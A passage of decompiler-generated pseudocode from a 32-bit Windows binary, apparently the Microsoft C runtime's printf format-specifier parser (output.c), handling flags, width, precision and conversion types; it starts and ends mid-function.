											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435638; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435620))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435660; // 0x4e6e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043564C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEE0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xab8ad97d
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x2b8ac62f
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x2b8ac616
																	E00424750(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E004283F0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428430(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004308A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E410();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
